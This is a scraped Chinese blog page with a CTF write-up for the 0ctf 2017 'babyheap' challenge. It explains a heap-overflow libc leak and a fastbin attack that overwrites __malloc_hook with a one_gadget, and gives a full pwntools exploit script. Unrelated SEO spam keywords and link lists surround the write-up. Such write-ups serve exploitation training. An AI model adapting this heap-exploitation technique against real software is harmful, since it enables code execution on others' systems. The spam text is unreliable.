当前位置: 首页 > news >正文

西安网站建设联系方式/徐州网站建设方案优化

西安网站建设联系方式,徐州网站建设方案优化,济宁做网站大约多少钱,网站怎么做sem优化简单说一下这个题目的思路: 1.泄露libc: 编辑chunk的时候存在堆溢出,可以通过堆溢出,修改两个不同的指针,指向同一个chunk,随后free掉其中一个,即可dump其中内存,main_arena的地址。 2.同样再次利用堆…

简单说一下这个题目的思路:

1.泄露libc:

编辑chunk的时候存在堆溢出,可以通过堆溢出,修改两个不同的指针,指向同一个chunk,随后free掉其中一个,即可dump其中内存,main_arena的地址。
 

2.同样再次利用堆溢出,修改其中一个chunk的fd指针为__malloc_hook,然后修改malloc_hook为one_gadget。

这里解答一个疑惑,为什么不写got表?
1,首先 RELRO保护全开,是不可写的。

2,其次,bss段上很难找到数据通过size检查。

完整exp:

from pwn import *
# p = remote("node4.buuoj.cn",26739)
p = process("./0ctf_2017_babyheap")
e = ELF("./0ctf_2017_babyheap")
libc = ELF("libc-2.23.so")
context.log_level = "debug"def add(size):p.recvuntil("Command: ")p.sendline("1")p.recvuntil("Size: ")p.sendline(str(size))
def fill(index,size,content):p.recvuntil("Command: ")p.sendline("2")p.recvuntil("Index: ")p.sendline(str(index))p.recvuntil("Size: ")p.sendline(str(size))p.recvuntil("Content: ")p.send(str(content))
def  dump(index):p.recvuntil("Command: ")p.sendline("4")p.recvuntil("Index: ")p.sendline(str(index))
def free(index):p.recvuntil("Command: ")p.sendline("3")p.recvuntil("Index: ")p.sendline(str(index))def dbg():gdb.attach(p)pause()add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4
add(0x10)#5
free(2)
free(1)
pl1 = '\x00'*(0x10) + p64(0) + p64(0x21) + '\x80'
fill(0,len(pl1),pl1)
pl2 = "a"*(0x10+8) + p64(0x21)
fill(3,len(pl2),pl2)
add(0x10)
add(0x10)
pl3 = 'a'*(0x10+8) + p64(0x91) 
fill(3,len(pl3),pl3)
free(4)
dump(2)arena_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
libc_base = arena_addr - (0x3c4b20+88)
log.success("arena_addr: "+hex(arena_addr))
log.success("libc_base:"+hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
log.success("hook_addr:"+hex(malloc_hook))
add(0x60)free(4)
fd = malloc_hook - 0x23
fake_chunk = p64(fd)
fill(2,len(fake_chunk),fake_chunk)add(0x60)
add(0x60)
onegadget = libc_base + 0x4526a
pl4 = 'a'*(0x13) + p64(onegadget)
fill(6,len(pl4),pl4)
add(0x100)
p.interactive()

http://www.jmfq.cn/news/4859191.html

相关文章:

  • 惠济郑州网站建设/网站策划方案案例
  • 怀化物流网站建设报价/正规的微信推广平台
  • 佛山做外贸网站的公司/互联网营销方法有哪些
  • 智慧团建管理员登录入口/百度关键词优化词精灵
  • wordpress站点前台请求数过多/设计师培训班多少钱
  • 网站建设与网页设计从入门到精通/申请网站域名要多少钱
  • 网站分类标准/东莞疫情最新消息
  • 西安网站设计与建设/网络营销推广的手段
  • 购物网站线下推广方案/单页面seo搜索引擎优化
  • 做外贸那个网站比较好/青岛seo杭州厂商
  • 电子政务与网站建设的经验/会计培训班多少钱
  • 阿里巴巴做网站费用计入/宁波seo网站推广
  • 滕州做网站的多少/互联网广告联盟
  • 哪个网站可以做片头/东莞市优速网络科技有限公司
  • 二级域名怎么做网站备案/阿里云建站
  • 石家庄小程序开发多少钱/seosem是指什么意思
  • php网站开发建设/国家大事新闻近三天
  • 高端品牌网站建设方案/提供seo顾问服务适合的对象是
  • dreamweaver学生用哪个版本/谷歌seo网站优化
  • 自己怎么网上注销公司/郑州seo外包顾问
  • https 网站架设/2021年10月新闻摘抄
  • 做搜狗网站排名软/站长工具最近查询
  • 宜昌网站seo收费/今天株洲最新消息
  • 学做网站教学百度网盘/上海关键词优化的技巧
  • mysql8 wordpress/东莞关键词优化软件
  • 怎么利用快站做网站/最新实时大数据
  • 做公司网站需要准备什么科目/网站seo优化课程
  • 可做宣传的网站都有哪些/怎么做一个网站平台
  • 地方网站 o2o/泉州seo托管
  • 潜江做网站/枫树seo